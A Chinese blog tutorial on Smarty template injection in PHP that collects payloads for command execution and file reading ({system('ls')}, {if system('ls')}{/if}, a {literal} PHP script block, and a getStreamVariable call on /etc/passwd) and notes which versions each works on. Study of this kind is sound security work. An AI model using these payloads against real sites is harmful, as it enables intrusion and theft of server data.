PHP Smarty模版注入

简介:

Smarty是基于PHP开发的,对于Smarty的SSTI的利用手段与常见的flask的SSTI有很大区别。
了解过Jinjia2模板注入的同学应该知道,jinjia2是基于python的,而Smarty是基于PHP的,所以理解起来还是很容易,我们只需要达到命令执行就可以了。

常用标签:

{php}:

Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签。

{php}phpinfo(){/php}

但是这个也是要分版本的,Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。

{}

直接输入php命令即可:
{system(‘ls’)}
在这里插入图片描述

{literal} 标签

官方手册这样描述这个标签:

{literal}可以让一个模板区域的字符原样输出。 这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。

使用Javascrip语句进行命令之执行,常见的变形语句:

<script language="php">phpinfo();</script>

当然这样的语法,在PHP5里面可以使用,在PHP7里面不可以使用
本地测试一下:

在这里插入图片描述再来看看PHP5:
在这里插入图片描述
具体每个版本做了什么改动,可以参考官方手册,回到正题。
因为{literal}支持javascprit语法,所以我们可以RCE,用法如下:

{literal}
<script language="php">phpinfo();</script>
{/literal}

具体能否实现,还要看PHP版本是多少,5可以用,7就不行

调用静态方法(没遇到过 不是很理解这个playload)

通过self获取Smarty类再调用其静态方法实现文件读写

Smarty类的getStreamVariable方法的代码

public function getStreamVariable($variable)
{
        $_result = '';
        $fp = fopen($variable, 'r+');
        if ($fp) {
            while (!feof($fp) && ($current_line = fgets($fp)) !== false) {
                $_result .= $current_line;
            }
            fclose($fp);
            return $_result;
        }
        $smarty = isset($this->smarty) ? $this->smarty : $this;
        if ($smarty->error_unassigned) {
            throw new SmartyException('Undefined stream variable "' . $variable . '"');
        } else {
            return null;
        }
    }

这个方法可以读取一个文件并返回其内容
所以我们可以用self来获取Smarty对象并调用这个方法
很多文章里给的payload都形如:

{self::getStreamVariable("file:///etc/passwd")}

但在3.1.30的Smarty版本中官方已经把该静态方法删除

{if}:

{if}标签

官方文档中看到这样的描述:

Smarty的{if}条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||*, or, &&, and, is_array(), 等等,如:{if is_array($array)}{/if}*

既然全部的PHP函数都可以使用,那么我们是可以利用此来执行我们的代码

{if phpinfo()}{/if}
{if system('ls')}{/if}

总结:

目前Smart版本基本上都是3.1以上,所以很多老的方法可能打不通,比如{php}和调用静态方法。不过{if}和{literal}方法依然是很好用的

网上的文章都是从合天网博客里面整理出来的,建议直接去看他们文章,其他的文章包括我的文章,都是一个小记录
参考链接:文章在这里

  • 0
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值